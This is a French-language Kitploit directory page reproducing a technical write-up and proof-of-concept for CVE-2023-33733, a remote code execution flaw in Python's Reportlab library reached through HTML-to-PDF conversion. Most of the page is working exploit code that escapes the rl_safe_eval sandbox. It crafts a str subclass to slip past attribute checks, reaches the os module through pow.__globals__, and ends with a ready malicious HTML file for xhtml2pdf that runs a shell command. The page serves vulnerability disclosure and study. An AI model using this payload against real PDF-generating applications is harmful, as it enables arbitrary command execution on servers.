Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-33733 — Analyse technique détaillée et exploit proof-of-concept pour CVE-2023-33733, une vulnérabilité d'exécution de code à distance dans la bibliothèque Python Reportlab via un contournement du sandbox dans le traitement HTML vers PDF. | Kitploit
Outils/GitHubGitHub/c53elyas/cve-2023-33733
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

Analyse technique détaillée et exploit proof-of-concept pour CVE-2023-33733, une vulnérabilité d'exécution de code à distance dans la bibliothèque Python Reportlab via un contournement du sandbox dans le traitement HTML vers PDF.

Voir le dépôt
1211825il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

VULNÉRABILITÉ D’INJECTION DE CODE DANS LA BIBLIOTHÈQUE PYTHON REPORTLAB

en résumé Cet article détaille comment une RCE dans Reportlab a été trouvée et exploitée. En raison de la prévalence de Reportlab dans le traitement HTML vers PDF, cette vulnérabilité peut être accessible dans de nombreuses applications qui traitent des fichiers PDF, ce qui en fait une vulnérabilité importante à corriger et à surveiller.

Introduction

Il y a quelques jours, lors d’un audit d’application web, nous avons remarqué que l’application utilisait la bibliothèque Python Reportlab pour générer dynamiquement des fichiers PDF à partir d’une entrée HTML. Reportlab s’est avéré présenter une vulnérabilité précédemment corrigée menant à une exécution de code. Cela signifie que trouver un contournement du correctif était assez intéressant du point de vue de l’attaquant, car cela conduirait à la redécouverte de l’exécution de code, d’autant plus que la bibliothèque Reportlab est également utilisée dans d’autres applications et outils.

Qu’est-ce que Reportlab

Tout d’abord, un bref rappel : Reportlab est un projet Open Source qui permet la création de documents au format PDF (Portable Document Format) d’Adobe en utilisant le langage de programmation Python. Il crée également des graphiques et des données graphiques dans divers formats bitmap et vectoriels ainsi que des PDF.

Attaquer Reportlab

La bibliothèque a connu en 2019 une exploitation similaire menant à une exécution de code à distance via l’attribut Color des balises HTML ; le contenu de l’attribut était directement évalué comme une expression Python à l’aide de la fonction , conduisant ainsi à une exécution de code. Pour atténuer le problème, Reportlab a implémenté un bac à sable appelé qui est dépouillé de toutes les fonctions intégrées Python et possède de multiples fonctions intégrées surchargées pour permettre l’exécution du code sécurisé de la bibliothèque tout en empêchant tout accès aux fonctions et bibliothèques dangereuses qui pourraient ensuite conduire à la construction de code Python dangereux :

eval
rl_safe_eval

Un exemple de ces mesures de prévention est que la fonction intégrée getattr est remplacée par une fonction restreinte __rl_getitem__ qui interdit l’accès à tout attribut dangereux des objets, comme ceux commençant par __ :

root@kitploit:~
class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# DANS CETTE LIGNE, ON PEUT OBSERVER QUE LE GETATR INTÉGRÉ EST REMPLACÉ PAR UNE FONCTION PERSONNALISÉE
		# QUI VÉRIFIE LA SÉCURITÉ DU NOM DE L’ATTRIBUT AVANT DE LE RÉCUPÉRER
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# DE NOMBREUSES VÉRIFICATIONS SONT EFFECTUÉES AVANT DE RÉCUPÉRER L’ATTRIBUT ET DE LE RETOURNER
		# À L’APPELANT DANS L’ENVIRONNEMENT EVAL SANDBOXÉ
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Vérifie si les noms sont autorisés.
		Si ``allow_magic_methods est True``, les noms dans `__allowed_magic_methods__`
		sont également autorisés même s’ils commencent par `_`.
		"""
		if isinstance(name,strTypes):
			# PAS D’ACCÈS AUX ATTRIBUTS COMMENÇANT PAR __ OU CORRESPONDANT À DES NOMS D'ATTRIBUTS NON SÛRS PRÉDÉFINIS
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('accès non sécurisé à %s' % name)

Le bug

Le eval sécurisé, comme décrit précédemment, nettoie l’environnement de toutes les fonctions dangereuses afin que l’exécution de code n’ait accès à aucun outil dangereux pouvant être utilisé pour exécuter des actions malveillantes. Cependant, si un contournement de ces restrictions est trouvé et qu’un accès à l’une des fonctions intégrées d’origine est obtenu, cela faciliterait grandement l’exploitation de l’environnement sandboxé.

L’une des nombreuses classes intégrées surchargées s’appelle type. Si cette classe est appelée avec un argument, elle retourne le type d’un objet. Cependant, si elle est appelée avec trois arguments, elle retourne un nouvel objet type. C’est essentiellement une forme dynamique de l’instruction class. En d’autres termes, cela peut permettre la création d’une nouvelle classe qui hérite d’une autre classe.

L’idée ici est donc de créer une nouvelle classe appelée Word qui hérite de str de sorte que lorsqu’elle est passée au getattr personnalisé, elle contourne les vérifications et permet l’accès à des attributs sensibles comme __code__.

Avant que le getattr personnalisé dans l’eval sandboxé ne retourne l’attribut, il effectue quelques vérifications en appelant __rl_is_allowed_name__ pour vérifier la sécurité de l’attribut appelé avant d’appeler le getattr intégré de Python et de retourner le résultat.

root@kitploit:~
	def __rl_is_allowed_name__(self, name):
		"""Vérifie si les noms sont autorisés.
		Si ``allow_magic_methods est True``, les noms dans `__allowed_magic_methods__`
		sont également autorisés même s’ils commencent par `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('accès non sécurisé à %s' % name)

Pour contourner la fonction __rl_is_allowed_name__, la classe Word doit :

  • Retourner toujours False pour les appels à la fonction startswith afin de contourner (name.startswith('__')
  • Retourner False à son premier appel à __eq__ pour contourner name in __rl_unsafe__, après le premier appel, elle doit retourner la réponse correcte car lorsque __eq__ est appelé par le getattr intégré de Python, il doit retourner le résultat correct.
  • Le hash doit être le même que le hash de sa chaîne sous-jacente

La classe suivante remplit ces critères :

root@kitploit:~
Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## affiche False
print(code == '__code__')    ## affiche True
print(code == '__code__')    ## affiche True
print(code == '__code__')    ## affiche True

print(code.startswith('__')) ## affiche False

La fonction type personnalisée dans le eval sécurisé ne permet pas de lui passer trois arguments :

root@kitploit:~
	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('erreur d’appel type')

Un contournement a été trouvé en appelant type sur lui-même, permettant ainsi de récupérer la fonction type intégrée d’origine :

root@kitploit:~
orgTypeFun = type(type(1))

La combinaison de ces deux lignes de code donnerait quelque chose comme ceci :

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

Accès aux builtins globaux

L’exploit original souffrait de plusieurs limitations qui le rendaient exploitable uniquement sur Python 3.10 ; pour résoudre ces problèmes, une nouvelle approche a été adoptée pour accéder au module os de Python.

La bibliothèque Reportlab remplace l’implémentation de plusieurs fonctions intégrées et les injecte comme globals dans le contexte eval.

Exemple de fonctions intégrées par défaut remplacées par des fonctions personnalisées dans rl_safe_eval.py :

root@kitploit:~
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		__rl_builtins__['iter'] = self.__rl_getiter__
		__rl_builtins__['pow'] = self.__rl_pow__
		__rl_builtins__['list'] = self.__rl_list__
		__rl_builtins__['type'] = self.__rl_type__
		__rl_builtins__['max'] = self.__rl_max__

Comme ces fonctions sont construites dans le contexte global, les variables globales et les modules peuvent être accessibles en utilisant l’attribut __globals__ de ces fonctions personnalisées.

Le code suivant doit être exécuté dans le contexte eval

root@kitploit:~
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')

Exploit final

Il ne reste plus qu’à écrire l’exploit :

Pour ce faire, une fonction sera reconstruite à partir du bytecode d’une fonction compilée :

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
    'mutated': 1,
            'startswith': lambda self, x: False,
            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__': lambda self: hash(str(self))
            })
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')

Cependant, une expression multi-lignes comme celle-ci ne sera pas exécutée dans un contexte eval. Pour contourner ce problème, on peut utiliser l’astuce de la list comprehension, quelque chose comme ceci :

root@kitploit:~
[print(x) for x in ['hellworld']]
# qui serait équivalent à
x='helloworld'
print(x)


[[ print (x + ' ' + y) for y in ['second var']]  for x in ['first var']]
# qui serait équivalent à
x='first var'
x='second var'
print (x + ' ' + y) 

Avec cette technique, le code de l’exploit peut être réécrit en une seule ligne de code comme ceci (ceci est considéré comme une seule ligne x) le multi-ligne ici n’est qu’une mise en forme pour améliorer la lisibilité de l’exploit. Les déclarations doivent être lues de bas en haut x) bizarre mais c’est comme ça que ça marche) :

root@kitploit:~
[
    [
        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
        for Word in [
            orgTypeFun(
                'Word',
                (str,),
                {
                    'mutated': 1,
                    'startswith': lambda self, x: False,
                    '__eq__': lambda self, x: self.mutate()
                    and self.mutated < 0
                    and str(self) == x,
                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
                    '__hash__': lambda self: hash(str(self)),
                },
            )
        ]
    ]
    for orgTypeFun in [type(type(1))]
]

POC

Veuillez vous référer au fichier poc.py qui contient une preuve de concept démontrant l’exécution de code (en cas d’exploitation réussie, un fichier appelé exploited est créé dans /tmp/).

Quoi d’autre ?

De nombreuses applications et bibliothèques utilisent la bibliothèque Reportlab, par exemple la fonction utilitaire xhtml2pdf est vulnérable et peut souffrir d’une exécution de code lors de la transformation d’un code HTML malveillant en PDF

root@kitploit:~
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
EOF

xhtml2pdf mallicious.html
ls -al /tmp/exploited

Remerciements

Je tiens à remercier Matthias Weckbecker pour sa collaboration et les échanges enrichissants sur les limitations de l’exploit original. Maintenant, l’exploit fonctionne parfaitement sur toutes les versions de Python 3 :D

Télécharger l’outil